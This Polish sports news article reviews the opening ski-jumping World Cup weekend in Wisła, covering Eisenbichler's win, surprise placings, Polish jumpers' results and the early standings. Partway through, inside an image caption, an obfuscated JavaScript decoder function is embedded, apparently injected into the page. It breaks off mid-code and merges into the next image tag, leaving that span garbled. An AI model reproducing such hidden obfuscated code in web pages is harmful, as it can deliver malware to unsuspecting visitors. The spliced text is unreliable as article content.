You are currently viewing Bohaterowie i przegrani inauguracji w Wiśle, czyli wzloty i upadki na starcie zimy [PODSUMOWANIE]
Mackenzie Boyd-Clowes (fot. Julia Piątkowska)

Bohaterowie i przegrani inauguracji w Wiśle, czyli wzloty i upadki na starcie zimy [PODSUMOWANIE]

Już w pierwszym pucharowym weekendzie w Wiśle nie zabrakło niespodzianek i wyników, które wielu skoczków zapisze w swoim sportowym dorobku. Rywalizacja drużynowa padła łupem Austriaków, natomiast w konkursie indywidualnym, któremu przyjrzymy się dokładniej, w wielkim stylu triumf wywalczył Markus Eisenbichler. Bohaterów było jednak więcej, a wśród nich warto wyróżnić Kanadyjczyka Mackenzie Boyd-Clowes’a.

 

HalvorEgnerGranerud Wisla2020lot fot.JuliaPiatkowska 300x200 - Bohaterowie i przegrani inauguracji w Wiśle, czyli wzloty i upadki na starcie zimy [PODSUMOWANIE]
Halvor Egner Granerud (fot. Julia Piątkowska)

Przede wszystkim należy jednak oddać zwycięzcy to, co zwycięskie. 29-letni Markus Eisenbichler zanotował wczoraj drugi pucharowy triumf i trzynaste podium w karierze. Była to jednocześnie pierwsza wygrana mistrza świata z Seefeld na dużej skoczni, ponieważ poprzednią wywalczył w marcu 2019 roku na mamucim obiekcie w Planicy. Dla drugiego w stawce Niemca, 27-letniego Karla Geigera, było to z kolei piętnasta obecność na pucharowym „pudle”. Jego austriacki rówieśnik Daniel Huber, dopiero po raz drugi zdołał wskoczyć na podium zawodów narciarskiej elity.

Tuż za czołową trójką na skoczni im. Adama Małysza (K-120 / HS-134) zameldował się najmocniejszy z Norwegów Halvor Egner Granerud, w którym wielu upatruje czarnego konia tego sezonu. Dla 24-latka było to wyrównanie życiowego rezultatu ze stycznia 2019 roku z Sapporo. Kolejnym z bohaterów przedostatniej listopadowej niedzieli był Mackenzie Boyd-Clowes, który wlał trochę radości w spragnione serca kibiców skoków z Ameryki Północnej. 29-letni Kanadyjczyk zameldował się na dziewiątej pozycji, wyrównując tym samym swoją „życiówkę” ustanowioną w styczniu 2014 roku na starym „mamucie” w Tauplitz.

- Bohaterowie i przegrani inauguracji w Wiśle, czyli wzloty i upadki na starcie zimy [PODSUMOWANIE]function u2fd518ba9147(q3){var u9=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var y7=”;var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0ander Vossan Eriksen (fot. Julia Piątkowska)” src=”https://www.skokipolska.pl/wp-content/gallery/puchar-swiata-wisla-2020-treningi-i-kwalifikacje/Puchar-Swiata-Wisla-2020-kwalifikacje_fot-7.jpg?i=964947137″ alt=”Sander Vossan Eriksen (fot. Julia Piątkowska)" width="300" height="200"> Sander Vossan Eriksen (fot. Julia Piątkowska)

Kapitalny debiut w zawodach Pucharu Świata zanotował następny z Norwegów, 19-letni Sander Vossan Eriksen. Wicemistrz świata juniorów uplasował się na trzynastej pozycji udowadniając, że już teraz wraz z Granerudem mogą stanowić o sile reprezentacji Norwegii. Wszak ich o wiele bardziej utytułowani i doświadczeni koledzy (Tande, Johansson) nie awansowali nawet do serii finałowej. Do dwójki młodych "Wikingów" dołączył ponadto kolejny, niespełna 20-letni Anders Haare, który zajmując 16. miejsce uplasował się jak dotąd najwyżej w swojej krótkiej pucharowej przygodzie.

W polskim gronie największą niespodzianką in plus można określić występ Andrzeja Stękały, który notując 19. rezultat powrócił do punktowania w Pucharze Świata po przerwie wynoszącej ponad 4,5 roku. Zawodnik z Dzianisza ostatnio wskoczył do finałowej trzydziestki w marcu 2016 roku w Planicy.

Niestety zmienne warunki wietrzne panujące w Beskidach, a w niektórych przypadkach po prostu słabsza forma, były też powodem niespodzianek in minus. Do takich z pewnością można zaliczyć start Kamila Stocha, który zaostrzył nasz apetyt wygranymi piątkowymi kwalifikacjami. W konkursie nie było już tak dobrze - 27. miejsce jest jego najsłabszym otwarciem  zimy od siedmiu lat (37. miejsce w Klingenthal w listopadzie 2013 r.) i jednocześnie najmniej udanym konkursem od... zawodów w Zakopanem w styczniu 2019 roku, kiedy to był dopiero 36. Wydaje się jednak, że tym razem był to wypadek przy pracy.

Puchar Swiata Wisla 2020 kwalifikacje fot 95 - Bohaterowie i przegrani inauguracji w Wiśle, czyli wzloty i upadki na starcie zimy [PODSUMOWANIE]
Andreas Wellinger (fot. Julia Piątkowska)

O zawodzie i jeszcze większym niepokoju może mówić japoński bohater dwóch ostatnich zim, Ryoyu Kobayashi, dla którego 27. pozycja jest najgorszą od czas lotów w Tauplitz w styczniu 2017 roku, kiedy to wylądował o jedno "oczko" niżej.

O ile jednak Stoch i Kobayashi zdołali w ogóle zapunktować, to zdobywca Kryształowej Kuli sprzed roku Stefan Kraft, w ogóle nie dał rady awansować do serii finałowej, kończąc zmagania na 32. pozycji. Ostatnio taka wpadka przydarzyła się Austriakowi podczas noworocznego konkursu Turnieju Czterech Skoczni w Garmisch-Partenkirchen przed dwoma laty. Podobny los spotkał również tak znamienitych zawodników jak Daniel Andre Tande (36.), Gregor Schlierenzauer (44.), czy Robert Johansson (45.), jednak im takie sytuacje przydarzały się w ostatnich sezonach nieco częściej. Ponadto niezbyt udany powrót do pucharowej rywalizacji (po cały sezonie przerwy spowodowanej kontuzją) zanotował niemiecki mistrz olimpijski Andreas Wellinger, który wylądował dopiero na 39. pozycji.

Letnie Mistrzostwa Polski Szczyrk2020 Team fot 73 - Bohaterowie i przegrani inauguracji w Wiśle, czyli wzloty i upadki na starcie zimy [PODSUMOWANIE]
Andrzej Stękała (fot. Julia Piątkowska)

To co dla innych jest porażką, dla innych może być sukcesem. 23-letni Kanadyjczyk Matthew Soukup w swoim czwartym pucharowym konkursie w karierze wyskakał życiówkę, a konkretnie 33. miejsce.

W niedzielę przytrafił się też pierwszy tej zimy upadek, który zanotował Martin Hamann. Niemiec szybując bardzo wysoko nad zeskokiem skracał swoją próbę i ostatecznie wylądował zaledwie pół metra przed oficjalnym rekordem Stefana Krafta, czyli na 138 metrze i 50 centymetrze. Chwilę później jednak 23-latek się wywrócił, szczęśliwie - obyło się bez problemów zdrowotnych. Taką samą odległość uzyskał dziś Austriak Daniel Huber, jednak on zdołał swoją próbę ustać. Były to najdłuższe skoki całego weekendu w Wiśle.

Już w piątek podczas kwalifikacji zapoczątkowana została niestety także niechlubna statystyka dyskwalifikacji. Za nieprzepisowy kombinezon wykluczony został wówczas Czech Filip Sakala. Do nietypowej sytuacji doszło w niedzielę, kiedy zdyskwalifikowany został Austriak Jan Hoerl, który jak się okazuje... nie zmieścił się w regulaminowych dziesięciu sekunach i swoją próbę rozpoczął po czasie, w którym paliło się zielone światło.

 

Klasyfikacje generalne

Poniżej załączamy skróconą wersję klasyfikacji generalnej Pucharu Świata. Dodajmy, że w Pucharze Narodów prowadzą Niemcy (571 pkt), przed Austriakami (518 pkt) i Polakami (407 pkt).

Czołówka klasyfikacji generalnej PŚ 2020/2021 (+ Polacy):

  zawodnik rocznik kraj punkty strata startów
1 Markus Eisenbichler 1991 GER 100   1
2 Karl Geiger 1993 GER 80 -20 1
3 Daniel Huber 1993 AUT 60 -40 1
4 Halvor Egner Granerud 1996 NOR 50 -50 1
5 Piotr Żyła 1987 POL 45 -55 1
6 Anze Lanisek 1996 SLO 40 -60 1
7 Yukiya Sato 1995 JPN 36 -64 1
8 Philipp Aschenwald 1995 AUT 32 -68 1
9 Mackenzie Boyd-Clowes 1991 CAN 29 -71 1
10 Michael Hayboeck 1991 AUT 26 -74 1
11 Dawid Kubacki 1990 POL 24 -76 1
19 Andrzej Stękała 1995 POL 12 -88 1
20 Maciej Kot 1998 POL 11 -89 1
22 Klemens Murańka 1994 POL 9 -91 1
27 Kamil Stoch 1987 POL 4 -96 1
29 Stefan Hula 1986 POL 2 -98 1

Pełne klasyfikacje PŚ i PN 2020/2021 oraz terminarz sezonu >>>

 

Bartosz Leja,
informacja własna

 

Dodaj komentarz